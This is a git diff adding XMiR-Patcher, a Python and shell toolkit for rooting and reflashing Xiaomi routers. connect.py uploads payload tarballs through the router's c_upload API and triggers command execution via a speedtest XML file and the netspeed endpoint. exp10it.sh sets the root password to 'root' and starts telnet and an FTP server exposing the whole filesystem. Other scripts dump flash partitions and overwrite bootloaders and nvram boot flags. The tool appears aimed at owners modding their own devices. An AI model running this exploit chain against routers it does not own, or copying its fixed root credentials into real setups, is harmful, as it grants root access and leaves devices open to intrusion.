diff --git a/!START.bat b/!START.bat new file mode 100644 index 0000000..7411a91 --- /dev/null +++ b/!START.bat @@ -0,0 +1,3 @@ +@echo off +chcp 866 >NUL +start cmd /k python\python.exe menu.py diff --git a/README.md b/README.md index 60c3e15..530b6b8 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,2 @@ -# xmir-patcher +# XMiR-Patcher Firmware patcher for Xiaomi routers diff --git a/activate_boot.py b/activate_boot.py new file mode 100644 index 0000000..02e4758 --- /dev/null +++ b/activate_boot.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die +import read_info +from envbuffer import EnvBuffer + + +gw = gateway.Gateway() + +dev = read_info.DevInfo(verbose = 0, infolevel = 1) +dev.get_bootloader() +if not dev.bl.img: + die("Can't dump current bootloader!") + +for i, part in enumerate(dev.partlist): + print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (i, part['addr'], part['size'], part['name'])) + +if len(sys.argv) > 1: + fw_name = sys.argv[1] +else: + if dev.bl.type == 'breed': + print("The device has an Breed bootloader installed.") + print("It is possible to specify a specific kernel boot address (HEX-number).") + print("It is also possible to specify the kernel number or the name of its partition.") + fw_name = input("Enter kernel (number, address or name): ") + else: + fw_name = input("Enter kernel number (0 or 1): ") + +fw_name = fw_name.strip() +if fw_name == "": + die("Boot partition not specified!") + +fw_num = None +fw_addr = None +if len(fw_name) >= 6 and fw_name.lower().startswith('0x'): + fw_addr = int(fw_name, 16) +else: + try: + fw_num = int(fw_name) + if fw_num != 0 and fw_num != 1: + die("Boot partition number not correct! Must be 0 or 1!") + except Exception: + pass + +#if dev.bl.type == 'pandora': +# die('Pandora bootloader not supported!') + +if dev.bl.type == 'breed': + if fw_num is not None: + pname = 'kernel%d' % fw_num + p = dev.get_part_num(pname) + if p < 0: + die('Partition "{}" not found!)'.format(pname)) + fw_addr = dev.partlist[p]['addr'] + if not fw_addr: + if len(fw_name) < 4: + die('Incorrect boot partition name! (len: {})'.format(len(fw_name))) + p = dev.get_part_num(fw_name) + if p <= 0: + die('Partition "{}" not found!)'.format(fw_name)) + fw_addr = dev.partlist[p]['addr'] + #dev.verbose = 2 + dev.get_env_list() + env = dev.env.breed + if env.data is None or env.max_size is None: + die("Can't found breed env address!") + env.var['autoboot.command'] = "boot flash 0x%X" % fw_addr + print("Breed ENV params for update:") + for i, (k, v) in enumerate(env.var.items()): + v = '' if (v is None) else ('=' + v) + print(" " + k + v) + bufsize = env.max_size + buf = env.pack(bufsize) + buf = b'ENV\x00' + buf[4:] + #print("env =", buf[:128]) + data = env.data[0:env.offset] + buf + env.data[(env.offset + len(buf)):] + fn_local = 'tmp/env_breed.bin' + fn_remote = '/tmp/env_breed.bin' + with open(fn_local, "wb") as file: + file.write(data) + gw.upload(fn_local, fn_remote) + pe = dev.get_part_num(env.addr) + if pe < 0: + die('Partition for writing ENV {} not found!'.format("0x%08X" % env.addr)) + part_addr = dev.partlist[pe]['addr'] + part_name = dev.partlist[pe]['name'] + cmd = 'mtd write {bin} "{part}"'.format(bin=fn_remote, part=part_name) + print("Send command: {}".format(cmd)) + gw.run_cmd(cmd) + print('Breed ENV changed! Boot from {} activated.'.format("0x%08X" % fw_addr)) + gw.run_cmd("rm -f " + fn_remote) + if fw_name != '0' and fw_name != '1': + sys.exit(0) + fw_addr = None + +fw_num = None +try: + fw_num = int(fw_name) +except Exception: + pass + +if fw_addr: + die('Required Breed bootloader for set custom boot address!') + +if fw_num is None: + die("Boot partition not specified!") + +if fw_num != 0 and fw_num != 1: + die("Boot partition number not correct! Must be 0 or 1!") + +print("Run scripts...") +cmd = [] +cmd.append("nvram set flag_ota_reboot=0") +cmd.append("nvram set flag_boot_success=1") +cmd.append("nvram set flag_last_success={}".format(fw_num)) +cmd.append("nvram set flag_try_sys1_failed=0") +cmd.append("nvram set flag_try_sys2_failed=0") +cmd.append("nvram set flag_boot_rootfs={}".format(fw_num)) +cmd.append("nvram commit") +gw.run_cmd(cmd) +print('Ready! Boot from partition "kernel{}" activated.'.format(fw_num)) + + +''' +/*** Algorithm from stock uboot: ***/ + + #define OK 0 + + if ( flag_try_sys1_failed > 1 || flag_try_sys2_failed > 1 || flag_ota_reboot > 1 || flag_last_success > 1 ) + goto boot_rootfs0; + + if ( flag_try_sys1_failed == 1 && flag_try_sys2_failed == 1 ) + { + if ( verifying_kernel0() == OK ) + goto boot_rootfs0; + + if ( verifying_kernel1() == OK ) + goto boot_rootfs1; + } + + if ( flag_ota_reboot == 1 ) + { + flag_last_success = 1 - flag_last_success; + } + else + { + if ( flag_last_success == 0 ) + flag_try_sys2_failed = flag_try_sys1_failed; + + if ( flag_try_sys2_failed == 1 ) + flag_last_success = 1 - flag_last_success; + } + + if ( flag_last_success == 0 ) + goto boot_rootfs0; + else + goto boot_rootfs1; + +boot_rootfs1: + img_addr = 0x600000 // kernel1 + flag_boot_rootfs = 1; + goto boot; + +boot_rootfs0: + img_addr = 0x200000 // kernel0 + flag_boot_rootfs = 0; + goto boot; + +boot: + setenv("flag_boot_rootfs", flag_boot_rootfs); + factory_mode = 0; + crash_log_magic = 0; + ranand_read(&crash_log_magic, 0x140000, 4); + if ( crash_log_magic == 0x5AA5 ) + { + factory_mode = 1; + printf("System is in factory mode.\n"); + setenv("uart_en", "1"); + setenv("boot_wait", "on"); + } + saveenv(); + ranand_read(img_header, img_addr, 64); + img_header_magic = ntohl(*(uint32_t *)img_header) + if ( img_header_magic != 0x27051956 ) + { + printf("Bad Magic Number,%08X, try to reboot\n", img_header_magic); + goto bad_data; + } + if ( getenv("verify") != 'n' ) { + if ( verify_image(img_addr) != OK ) + printf("Bad Data CRC\n"); + goto bad_data; + } + } + + do_bootm_linux(...) + +bad_data: + if ( flag_boot_rootfs == 0 ) + setenv("flag_try_sys1_failed", "1"); + else + setenv("flag_try_sys2_failed", "1"); + + setenv("flag_ota_reboot", "0"); + saveenv(); + if ( factory_mode ) + { + printf("System is in factory mode. U-Boot BOOT ERROR! \n"); + nullsub_4(); + while ( 1 ) // HARD CPU RESTART + ; + } + return CRITICAL_ERROR + +''' + + diff --git a/bootloader/breed_r3g_eng.bin b/bootloader/breed_r3g_eng.bin new file mode 100644 index 0000000..e77bb03 Binary files /dev/null and b/bootloader/breed_r3g_eng.bin differ diff --git a/bootloader/uboot_r3g.bin b/bootloader/uboot_r3g.bin new file mode 100644 index 0000000..9baedf8 Binary files /dev/null and b/bootloader/uboot_r3g.bin differ diff --git a/bootloader/uboot_r3p.bin b/bootloader/uboot_r3p.bin new file mode 100644 index 0000000..420a5e1 Binary files /dev/null and b/bootloader/uboot_r3p.bin differ diff --git a/config.txt b/config.txt new file mode 100644 index 0000000..2ec2995 --- /dev/null +++ b/config.txt @@ -0,0 +1,3 @@ +{ + "device_ip_addr": "192.168.1.1" +} \ No newline at end of file diff --git a/connect.py b/connect.py new file mode 100644 index 0000000..ce8f7e4 --- /dev/null +++ b/connect.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import re +import time +import random +import hashlib +import requests +import socket +import tarfile + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die + + +gw = gateway.Gateway(detect_device = False) +if len(sys.argv) < 2: + ip_addr = gw.ip_addr +else: + ip_addr = sys.argv[1] + if not ip_addr: + die("You entered an empty IP-address!") + gw.ip_addr(ip_addr) + gw.save_config() + +def get_http_headers(): + headers = {} + headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8" + headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" + return headers + +gw = gateway.Gateway(timeout = 4) +if gw.status < 1: + die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(ip_addr)) + +dname = gw.device_name +print("device_name =", gw.device_name) + +if gw.ping(verbose = 0) is True: + die(0, "Exploit already installed and running") + +try: + r0 = requests.get("http://{ip_addr}/cgi-bin/luci/web".format(ip_addr = ip_addr), timeout = 4) +except Exception: + die("Xiaomi Mi Wi-Fi device not found! (ip: {})".format(ip_addr)) + +try: + mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0] +except Exception: + die("Xiaomi Mi Wi-Fi device is wrong model or not the stock firmware in it.") + +key = re.findall(r'key: \'(.*)\',', r0.text)[0] +nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) +password = input("Enter device WEB password: ") +account_str = (password + key).encode('utf-8') +account_str = hashlib.sha1(account_str).hexdigest() +password = (nonce + account_str).encode('utf-8') +password = hashlib.sha1(password).hexdigest() +username = 'admin' +data = "username={username}&password={password}&logtype=2&nonce={nonce}".format(username = username, password = password, nonce = nonce) +requrl = "http://{ip_addr}/cgi-bin/luci/api/xqsystem/login".format(ip_addr = ip_addr) +r1 = requests.post(requrl, data = data, headers = get_http_headers()) +try: + stok = re.findall(r'"token":"(.*?)"',r1.text)[0] +except Exception: + die("Password is not correct!") + +print("Begin creating a payload for the exploit...") +fn_dir = 'data/payload/' +fn_tmp = 'tmp/' +fn_payload1 = 'tmp/payload1.tar.gz' +fn_payload2 = 'tmp/payload2.tar.gz' +fn_bb1 = fn_tmp + 'busybox_01' +fn_bb2 = fn_tmp + 'busybox_02' + +fn_bb = 'busybox_mips' +if dname == 'r3d': + fn_bb = 'busybox_armv7a' +if dname == "rb03": + fn_bb = 'busybox_arm64' + +if os.path.exists(fn_payload1): + os.remove(fn_payload1) +if os.path.exists(fn_payload2): + os.remove(fn_payload2) + +with open(fn_dir + fn_bb, "rb") as file: + bb = file.read() +fpos = len(bb) // 2 +with open(fn_bb1, "wb") as file: + file.write(bb[:fpos]) +with open(fn_bb2, "wb") as file: + file.write(bb[fpos:]) + +fn_exploit = "exp10it.sh" +command = "sh /tmp/" + fn_exploit + +fn_executor = "speedtest_urls.xml" +with open(fn_dir + fn_executor, "rt", encoding = "UTF-8") as file: + template = file.read() +data = template.format(router_ip_address=ip_addr, command=command) +with open(fn_tmp + fn_executor, "wt", encoding = "UTF-8", newline = "\n") as file: + file.write(data) + +with tarfile.open(fn_payload1, "w:gz", compresslevel=9) as tar: + tar.add(fn_bb1, arcname = os.path.basename(fn_bb1)) + +with tarfile.open(fn_payload2, "w:gz", compresslevel=9) as tar: + tar.add(fn_bb2, arcname = os.path.basename(fn_bb2)) + tar.add(fn_dir + fn_exploit, arcname = fn_exploit) + tar.add(fn_tmp + fn_executor, arcname = fn_executor) + +if os.path.exists(fn_bb1): + os.remove(fn_bb1) +if os.path.exists(fn_bb2): + os.remove(fn_bb2) + +tgz_size1 = os.path.getsize(fn_payload1) +if tgz_size1 > 100*1024 - 128: + die("File size {} exceeds 100KiB".format(fn_payload1)) + +tgz_size2 = os.path.getsize(fn_payload2) +if tgz_size2 > 100*1024 - 128: + die("File size {} exceeds 100KiB".format(fn_payload2)) + +print("Start uploading the exploit with payload...") +urlapi = "http://{ip_addr}/cgi-bin/luci/;stok={stok}/api/".format(ip_addr = ip_addr, stok = stok) + +if (fn_payload1): + requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload1, 'rb')}) +if (fn_payload2): + requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload2, 'rb')}) + +print("Running TELNET and FTP servers...") +requests.get(urlapi + "xqnetdetect/netspeed") + +time.sleep(0.5) +gw.ping() + +print("") +print("#### Connection to device {} is OK ####".format(gw.device_name)) diff --git a/create_backup.py b/create_backup.py new file mode 100644 index 0000000..cd0b886 --- /dev/null +++ b/create_backup.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die +import read_info + + +gw = gateway.Gateway() + +dev = read_info.DevInfo(verbose = 0, infolevel = 1) +dev.get_dmesg() +dev.get_part_table() +if not dev.partlist or len(dev.partlist) <= 1: + die("Partition list is empty!") + +fn_dir = 'backups/' +fn_old = fn_dir + 'full_dump.old' +fn_local = fn_dir + 'full_dump.bin' +fn_remote = '/tmp/mtd_dump.bin' +a_part = None +pid = None +if len(sys.argv) > 1: + for p, part in enumerate(dev.partlist): + print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (p, part['addr'], part['size'], part['name'])) + print(" ") + a_part = input("Enter partition name or mtd number: ") + if a_part != 'a': + if isinstance(a_part, int): + p = a_part + if p < 0 or p >= len(dev.partlist): + die('Partition "mtd{}" not found!'.format(a_part)) + else: + p = dev.get_part_num(a_part, comptype = 'ends') + if p < 0: + die('Partition "{}" not found!'.format(a_part)) + name = dev.partlist[p]['name'] + name = ''.join(e for e in name if e.isalnum()) + fn_old = fn_dir + 'mtd{id}_{name}.old'.format(id=p, name=name) + fn_local = fn_dir + 'mtd{id}_{name}.bin'.format(id=p, name=name) + pid = p + +os.makedirs(fn_dir, exist_ok = True) + +if pid is None and a_part != 'a': + for p, part in enumerate(dev.partlist): + if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB + pid = p + name = dev.partlist[p]['name'] # "ALL" + name = ''.join(e for e in name if e.isalnum()) + addr = dev.partlist[p]['addr'] + size = dev.partlist[p]['size'] + break + +if pid is not None: + if os.path.exists(fn_dir): + if os.path.exists(fn_local): + if os.path.exists(fn_old): + os.remove(fn_old) + os.rename(fn_local, fn_old) + if a_part is None: + print("Full backup creating...") + gw.run_cmd("dd if=/dev/mtd{id} of={o}".format(id=pid, o=fn_remote)) + print('Dump of partition "{}" created!'.format(name)) + print('Download dump to file "./{}"...'.format(fn_local)) + gw.download(fn_remote, fn_local, verbose = 0) + print("Completed!") + gw.run_cmd("rm -f " + fn_remote) + print(" ") + if a_part is None: + print('Full backup saved to file "./{}"'.format(fn_local)) + else: + print('Backup of "{}" saved to file "./{}"'.format(name, fn_local)) +else: + print("Full backup creating...") + for p, part in enumerate(dev.partlist): + if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB + continue # skip "ALL" part + name = dev.partlist[p]['name'] + name = ''.join(e for e in name if e.isalnum()) + addr = dev.partlist[p]['addr'] + size = dev.partlist[p]['size'] + fn_old = fn_dir + 'mtd{id}_{name}.old'.format(id=p, name=name) + fn_local = fn_dir + 'mtd{id}_{name}.bin'.format(id=p, name=name) + if os.path.exists(fn_dir): + if os.path.exists(fn_local): + if os.path.exists(fn_old): + os.remove(fn_old) + os.rename(fn_local, fn_old) + gw.run_cmd("dd if=/dev/mtd{id} of={o}".format(id=p, o=fn_remote)) + print('Download dump to file "./{}"...'.format(fn_local)) + gw.download(fn_remote, fn_local, verbose = 0) + gw.run_cmd("rm -f " + fn_remote) + print('Backup of "{}" saved to file "./{}"'.format(name, fn_local)) + print(" ") + print("Completed!") + + diff --git a/data/base.en.lmo b/data/base.en.lmo new file mode 100644 index 0000000..3315dcb Binary files /dev/null and b/data/base.en.lmo differ diff --git a/data/base.ru.lmo b/data/base.ru.lmo new file mode 100644 index 0000000..e75d4a0 Binary files /dev/null and b/data/base.ru.lmo differ diff --git a/data/lang_install.sh b/data/lang_install.sh new file mode 100644 index 0000000..6e8124d --- /dev/null +++ b/data/lang_install.sh @@ -0,0 +1,55 @@ +if [ `ls /tmp/base.*.lmo |wc -l` -eq 0 ]; then + return 1 +fi + +if [ "$(mount| grep '/usr/lib/lua/luci')" != "" ]; then + sh /tmp/lang_uninstall.sh +fi + +# delete old patch +rm -f /etc/rc.lang + +# global firmware may contain a file "base.en.lmo" +[ -f /usr/lib/lua/luci/i18n/base.en.lmo ] && rm -f /tmp/base.en.lmo + +mv -f /tmp/base.*.lmo /etc/ +mv -f /tmp/lang_patch.sh /etc/ +chmod +x /etc/lang_patch.sh + +FILE_FOR_EDIT=/etc/init.d/boot +NEW_CMD="\[ -f \/etc\/lang_patch.sh \] && sh \/etc\/lang_patch.sh" +FILE_PATCHED=1 +HAVE_PATCH=$(grep 'lang_patch.sh' $FILE_FOR_EDIT) +if [ -z "$HAVE_PATCH" ]; then + FILE_PATCHED=0 + UCI_CFG=$(grep 'apply_uci_config' $FILE_FOR_EDIT) + if [ -n "$UCI_CFG" ]; then + sed -i "/apply_uci_config$/i$NEW_CMD" $FILE_FOR_EDIT + FILE_PATCHED=2 + fi + UCI_DEF=$(grep 'uci_apply_defaults' $FILE_FOR_EDIT) + if [ -n "$UCI_DEF" -a $FILE_PATCHED == 0 ]; then + sed -i "/uci_apply_defaults$/i$NEW_CMD" $FILE_FOR_EDIT + FILE_PATCHED=3 + fi +fi + +# run patch +sh /etc/lang_patch.sh + +# delete lang +uci -q delete luci.languages.ru +uci -q delete luci.languages.en + +# add lang +uci set luci.languages.ru=Русский +uci set luci.languages.en=English + +# set main lang +uci set luci.main.lang=en + +# commit luci settings +uci commit luci + +# reload luci +luci-reload & rm -f /tmp/luci-indexcache & luci-reload diff --git a/data/lang_patch.sh b/data/lang_patch.sh new file mode 100644 index 0000000..c4940c3 --- /dev/null +++ b/data/lang_patch.sh @@ -0,0 +1,22 @@ +if [ `ls /etc/base.*.lmo |wc -l` -eq 0 ]; then + return 0 +fi + +mkdir -p /tmp/_usr_lib_lua_luci +cp -rf /usr/lib/lua/luci/* /tmp/_usr_lib_lua_luci/ +mount --bind /tmp/_usr_lib_lua_luci /usr/lib/lua/luci + +cp /etc/base.*.lmo /usr/lib/lua/luci/i18n + +# save original file +cp -f /usr/share/xiaoqiang/xiaoqiang_version /etc/xiaoqiang_version + +mkdir -p /tmp/_usr_share_xiaoqiang +cp -rf /usr/share/xiaoqiang/* /tmp/_usr_share_xiaoqiang/ +mount --bind /tmp/_usr_share_xiaoqiang /usr/share/xiaoqiang + +# unlock WEB lang menu +sed -i 's/ and features\["system"\]\["i18n"\] == "1" //' /usr/lib/lua/luci/view/web/inc/sysinfo.htm + +# unlock change luci.main.lang +sed -i "s/option CHANNEL 'stable'/option CHANNEL 'release'/g" /usr/share/xiaoqiang/xiaoqiang_version diff --git a/data/lang_uninstall.sh b/data/lang_uninstall.sh new file mode 100644 index 0000000..1f3d872 --- /dev/null +++ b/data/lang_uninstall.sh @@ -0,0 +1,15 @@ +if [ "$(mount| grep '/usr/lib/lua/luci')" != "" ]; then + umount -l /usr/lib/lua/luci +fi +rm -rf /tmp/_usr_lib_lua_luci + +if [ "$(mount| grep '/usr/share/xiaoqiang')" != "" ]; then + umount -l /usr/share/xiaoqiang +fi +rm -rf /tmp/_usr_share_xiaoqiang + +rm -f /etc/rc.lang +rm -f /etc/lang_patch.sh +rm -f /etc/base.*.lmo + +luci-reload & rm -f /tmp/luci-indexcache & luci-reload diff --git a/data/payload/busybox_arm64 b/data/payload/busybox_arm64 new file mode 100644 index 0000000..052dcc7 Binary files /dev/null and b/data/payload/busybox_arm64 differ diff --git a/data/payload/busybox_armv7a b/data/payload/busybox_armv7a new file mode 100644 index 0000000..84d66e8 Binary files /dev/null and b/data/payload/busybox_armv7a differ diff --git a/data/payload/busybox_config.zip b/data/payload/busybox_config.zip new file mode 100644 index 0000000..dcab28e Binary files /dev/null and b/data/payload/busybox_config.zip differ diff --git a/data/payload/busybox_mips b/data/payload/busybox_mips new file mode 100644 index 0000000..9bca2d1 Binary files /dev/null and b/data/payload/busybox_mips differ diff --git a/data/payload/exp10it.sh b/data/payload/exp10it.sh new file mode 100644 index 0000000..2ace602 --- /dev/null +++ b/data/payload/exp10it.sh @@ -0,0 +1,29 @@ +# enable UART +nvram set bootdelay=5; nvram set uart_en=1; nvram commit + +# change password for root +echo -e "root\nroot" | (passwd root) + +if [ -f /etc/init.d/dropbear ]; then + # unlock autostart dropbear + sed -i 's/"$flg_ssh" != "1" -o "$channel" = "release"/-n ""/g' /etc/init.d/dropbear + if [ -f /usr/sbin/dropbear ]; then + # restart dropbear + /etc/init.d/dropbear stop + /etc/init.d/dropbear start + fi +fi + +cd /tmp +rm -f busybox_tiny +cat busybox_01 busybox_02 > busybox_tiny +chmod +x busybox_tiny + +# start telnet +./busybox_tiny telnetd + +# start ftp +ln -s busybox_tiny ftpd +./busybox_tiny tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/msg_ftpd 2>&1 & + +#kill -9 `pgrep taskmonitor` diff --git a/data/payload/speedtest_urls.xml b/data/payload/speedtest_urls.xml new file mode 100644 index 0000000..1735c01 --- /dev/null +++ b/data/payload/speedtest_urls.xml @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/envbuffer.py b/envbuffer.py new file mode 100644 index 0000000..ee3a966 --- /dev/null +++ b/envbuffer.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import re +import types +import binascii + + +class EnvBuffer(): + addr = None + data = None # partition dump + offset = None # ENV offset in partition + len = 0 + max_size = None + var = {} # key=value + encoding = 'ascii' + crc_prefix = True + delim = '\x00' + + def __init__(self, data = None, delim = '\x00', crc_prefix = True, encoding = 'ascii'): + self.encoding = encoding + self.delim = delim + self.crc_prefix = crc_prefix + self.var = {} + if data is None: + return + prefix_len = 4 if crc_prefix else 0 + if isinstance(data, str): + self.var = self.parse_env(data, delim) + else: + end = data.find((delim + delim).encode(encoding), prefix_len) + if (end > prefix_len): + data = data[prefix_len:end+1] + self.var = self.parse_env_b(data, delim, encoding) + + def parse_env_b(self, data, delim, encoding = 'ascii'): + dict = {} + self.len = len(data) + data = data.split(delim.encode('ascii')) + for i, s in enumerate(data): + s = s.strip() + if len(s) < 1: + continue + x = s.find(b'=') + if x == 0: + continue + if x >= 1: + key = s[0:x].decode(encoding) + val = s[x+1:].decode(encoding) + dict[key.strip()] = val.strip() + else: + key = s.decode(encoding) + dict[key.strip()] = None + return dict + + def parse_env(self, data, delim): + dict = {} + self.len = len(data) + data = data.split(delim) + for i, s in enumerate(data): + s = s.strip() + if len(s) < 1: + continue + x = s.find('=') + if x == 0: + continue + if x >= 1: + key = s[0:x] + val = s[x+1:] + dict[key.strip()] = val.strip() + else: + dict[s.strip()] = None + return dict + + def set_env(self, key, value): + var[key] = value + + def pack(self, bufsize, crc_prefix = None, encoding = None): + crc_prefix = crc_prefix if crc_prefix is not None else self.crc_prefix + encoding = encoding if encoding is not None else self.encoding + buf = b'' + if self.var: + for i, (k, v) in enumerate(self.var.items()): + v = '' if (v is None) else ('=' + v) + buf += (k + v + '\x00').encode(encoding) + if len(buf) + 64 > bufsize: + raise OSError("Buffer overflow") + prefix_len = 4 if crc_prefix else 0 + buf += b'\x00' * (bufsize - len(buf) - prefix_len) + crc = binascii.crc32(buf) + buf = (crc).to_bytes(4, byteorder='little') + buf + return buf + + + + + + + + + diff --git a/firmware/readme.txt b/firmware/readme.txt new file mode 100644 index 0000000..7a95ffd --- /dev/null +++ b/firmware/readme.txt @@ -0,0 +1 @@ +In this folder, you should put the firmware for flashing. diff --git a/gateway.py b/gateway.py new file mode 100644 index 0000000..744bd14 --- /dev/null +++ b/gateway.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import json +import time +import random +import hashlib +import subprocess +import re +import requests +import telnetlib +import ftplib +import atexit + + +def die(*args): + err = 1 + prefix = "ERROR: " + msg = "" + if len(args) > 0: + if isinstance(args[0], int): + err = args[0] + else: + msg = args[0] + if (err == 0): + prefix = "" + if len(args) > 1: + msg = args[1] + print(" ") + print(prefix + msg) + print(" ") + sys.exit(err) + +def get_http_headers(): + headers = {} + headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8" + headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" + return headers + + +class Gateway(): + verbose = 2 + timeout = 4 + config = {} + device_name = None + webpassword = None + status = -2 + ftp = None + + def __init__(self, timeout = 4, verbose = 2, detect_device = True): + self.verbose = verbose + self.timeout = timeout + self.config['device_ip_addr'] = None + self.load_config() + self.device_name = None + self.webpassword = None + self.status = -2 + atexit.register(self.cleanup) + os.makedirs('outdir', exist_ok = True) + os.makedirs('tmp', exist_ok = True) + if detect_device: + self.detect_device() + + def detect_device(self): + self.device_name = None + self.status = -2 + try: + r0 = requests.get("http://{ip_addr}/cgi-bin/luci/web".format(ip_addr = self.ip_addr), timeout = self.timeout) + r0.raise_for_status() + #with open("r0.txt", "wb") as file: + # file.write(r0.text.encode("utf-8")) + hardware = re.findall(r'hardware = \'(.*?)\'', r0.text) + if hardware and len(hardware) > 0: + self.device_name = hardware[0] + else: + hardware = re.findall(r'hardwareVersion: \'(.*?)\'', r0.text) + if hardware and len(hardware) > 0: + self.device_name = hardware[0] + self.device_name = self.device_name.lower() + except requests.exceptions.HTTPError as e: + print("Http Error:", e) + except requests.exceptions.ConnectionError as e: + #print("Error Connecting:", e) + return self.status + except requests.exceptions.ConnectTimeout as e: + print ("ConnectTimeout Error:", e) + except requests.exceptions.Timeout as e: + print ("Timeout Error:", e) + except requests.exceptions.RequestException as e: + print("Request Exception:", e) + except Exception: + pass + if not self.device_name: + die("You need to make the initial configuration in the WEB of the device!") + self.status = -1 + x = -1 + try: + x = r0.text.find('a href="/cgi-bin/luci/web/init/hello') + except: + return self.status + if (x > 10): + self.webpassword = 'admin' + die("You need to make the initial configuration in the WEB of the device!") + self.status = 1 + return self.status + + def cleanup(self): + try: + self.ftp.quit() + except Exception: + pass + try: + self.ftp.close() + except Exception: + pass + self.ftp = None + + @property + def ip_addr(self): + return self.config['device_ip_addr'] + + @ip_addr.setter + def ip_addr(self, value): + self.config['device_ip_addr'] = value + + def load_config(self): + self.config = {} + with open('config.txt', 'r') as file: + self.config = json.load(file) + self.config['device_ip_addr'] = (self.config['device_ip_addr']).strip() + + def save_config(self): + with open('config.txt', 'w') as file: + json.dump(self.config, file, indent=4, sort_keys=True) + + def set_config_param(self, key, value): + self.config[key] = value + self.save_config() + + def create_telnet(self, verbose = 0): + try: + tn = telnetlib.Telnet(self.ip_addr) + tn.read_until(b"login: ") + tn.write(b"root\n") + tn.read_until(b"Password: ") + tn.write(b"root\n") + tn.read_until(b"root@XiaoQiang:~#") + return tn + except Exception as e: + #print(e) + if verbose: + die("telnet not responding (IP: {})".format(self.ip_addr)) + return None + return tn + + def create_ftp(self, verbose = 0): + if self.ftp and self.ftp.sock: + try: + self.ftp.voidcmd("NOOP") + return self.ftp #Already connected + except Exception: + pass + self.ftp = None + try: + #timeout = 10 if self.timeout < 10 else self.timeout + self.ftp = ftplib.FTP(self.ip_addr, user='root', passwd='root', timeout=self.timeout) + self.ftp.voidcmd("NOOP") + except Exception: + self.ftp = None + if verbose: + die("ftp not responding (IP: {})".format(self.ip_addr)) + return None + return self.ftp + + def ping(self, verbose = 2): + tn = self.create_telnet(verbose) + if not tn: + return False + ftp = self.create_ftp(verbose) + if not ftp: + return False + return True + + def run_cmd(self, cmd, msg = None): + tn = self.create_telnet(self.verbose) + if (msg): + print(msg) + cmdlist = [] + if isinstance(cmd, str): + cmdlist.append(cmd) + else: + cmdlist = cmd + for idx, cmd in enumerate(cmdlist): + cmd = (cmd + '\n').encode('ascii') + tn.write(cmd) + tn.read_until(b"root@XiaoQiang:~#") + tn.write(b"exit\n") + return True + + def download(self, fn_remote, fn_local, verbose = 1): + self.create_ftp(self.verbose) + file = open(fn_local, 'wb') + if verbose and self.verbose: + print('Download file: "{}" ....'.format(fn_remote)) + self.ftp.retrbinary('RETR ' + fn_remote, file.write) + file.close() + return True + + def upload(self, fn_local, fn_remote, verbose = 1): + try: + file = open(fn_local, 'rb') + except Exception: + die('File "{}" not found.'.format(fn_local)) + self.create_ftp(self.verbose) + if verbose and self.verbose: + print('Upload file: "{}" ....'.format(fn_local)) + self.ftp.storbinary('STOR ' + fn_remote, file) + file.close() + return True + + +if __name__ == "__main__": + if len(sys.argv) > 1: + ip_addr = sys.argv[1] + gw = Gateway(detect_device = False) + gw.ip_addr = ip_addr + gw.save_config() + print("Device IP-address changed to {}".format(ip_addr)) + diff --git a/install_bl.py b/install_bl.py new file mode 100644 index 0000000..bd0ed0e --- /dev/null +++ b/install_bl.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die +import read_info + + +if len(sys.argv) <= 1: + die("Bootloader name not specified!") +bl_name = sys.argv[1] +bl_name = bl_name.strip().lower() + + +gw = gateway.Gateway() +dname = gw.device_name +if not gw.device_name: + die("Xiaomi Mi Wi-Fi device not found! (IP: {})".format(gateway.ip_addr)) + +fn_dir = 'bootloader/' +fn_remote = '/tmp/bootloader.bin' +fn_local = None + +if bl_name == 'breed': + if dname != 'r3g' and dname != 'r3p' and dname != 'rm2100': + die("Breed bootloader cannot be installed on this device!") + fn_local = fn_dir + 'breed_r3g_eng.bin' + +if bl_name == 'uboot': + fn_local = fn_dir + 'uboot_{}.bin'.format(gw.device_name) + +if not fn_local: + die('Incorrect bootloader name!') + +if not os.path.exists(fn_local): + die('File "{}" not found'.format(fn_local)) + +dev = read_info.DevInfo(verbose = 0, infolevel = 1) +if dev.info.cpu_arch != 'mips': + die("Currently support only MIPS arch!") + +dev.get_bootloader() +if not dev.bl.img: + die("Can't dump current bootloader!") + +if dev.bl.spi_rom: + die("Not support SPI Flash ROM! (now supported only NAND)") + +addr = None +for p, part in enumerate(dev.partlist): + if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB + continue # skip "ALL" part + if part['addr'] == 0: + name = part['name'] + fname = ''.join(e for e in name if e.isalnum()) + addr = part['addr'] + size = part['size'] + +if addr is None: + die("No matching partition found!") + +gw.upload(fn_local, fn_remote) +print 